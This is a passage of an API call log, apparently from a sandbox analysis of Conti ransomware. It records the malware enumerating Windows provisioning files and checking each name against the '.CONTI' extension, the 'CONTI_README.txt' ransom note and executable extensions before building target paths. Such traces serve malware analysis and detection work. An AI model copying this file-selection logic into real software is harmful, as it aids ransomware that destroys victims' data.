	[0108.975] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.975] lstrlenW (lpString="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml") returned 75
	[0108.975] GetProcessHeap () returned 0x1720000
	[0108.975] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x17faca8
	[0108.975] lstrcpyW (in: lpString1=0x17faca8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.975] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.975] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml"
	[0108.975] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="241__C~1.PRO")) returned 1
	[0108.975] lstrcmpiW (lpString1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.975] lstrcmpiW (lpString1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.975] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.976] StrStrIW (lpFirst="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.976] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.976] lstrlenW (lpString="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.976] GetProcessHeap () returned 0x1720000
	[0108.976] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17d78b0
	[0108.976] lstrcpyW (in: lpString1=0x17d78b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.976] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.976] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml"
	[0108.976] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="242__C~1.PRO")) returned 1
	[0108.976] lstrcmpiW (lpString1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.976] lstrcmpiW (lpString1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.976] StrStrIW (lpFirst="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.976] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.976] lstrlenW (lpString="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned 77
	[0108.976] GetProcessHeap () returned 0x1720000
	[0108.976] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x17fa498
	[0108.976] lstrcpyW (in: lpString1=0x17fa498, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.976] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.977] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0108.977] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="243__C~1.PRO")) returned 1
	[0108.977] lstrcmpiW (lpString1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.977] lstrcmpiW (lpString1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.977] StrStrIW (lpFirst="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.977] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.977] lstrlenW (lpString="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml") returned 74
	[0108.977] GetProcessHeap () returned 0x1720000
	[0108.977] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17fae00
	[0108.977] lstrcpyW (in: lpString1=0x17fae00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.977] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.977] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0108.977] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="244__C~1.PRO")) returned 1
	[0108.977] lstrcmpiW (lpString1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.977] lstrcmpiW (lpString1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.977] StrStrIW (lpFirst="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.977] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.977] lstrlenW (lpString="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.977] GetProcessHeap () returned 0x1720000
	[0108.978] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d7100
	[0108.978] lstrcpyW (in: lpString1=0x17d7100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0108.978] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="245__C~1.PRO")) returned 1
	[0108.978] lstrcmpiW (lpString1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.978] lstrcmpiW (lpString1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.978] StrStrIW (lpFirst="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.978] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.978] lstrlenW (lpString="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml") returned 67
	[0108.978] GetProcessHeap () returned 0x1720000
	[0108.978] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d8060
	[0108.978] lstrcpyW (in: lpString1=0x17d8060, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml"
	[0108.978] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="246__C~1.PRO")) returned 1
	[0108.978] lstrcmpiW (lpString1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.978] lstrcmpiW (lpString1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.978] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.979] StrStrIW (lpFirst="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.979] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.979] lstrlenW (lpString="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml") returned 67
	[0108.979] GetProcessHeap () returned 0x1720000
	[0108.979] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d81a8
	[0108.979] lstrcpyW (in: lpString1=0x17d81a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.979] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.979] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml"
	[0108.979] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="247__C~1.PRO")) returned 1
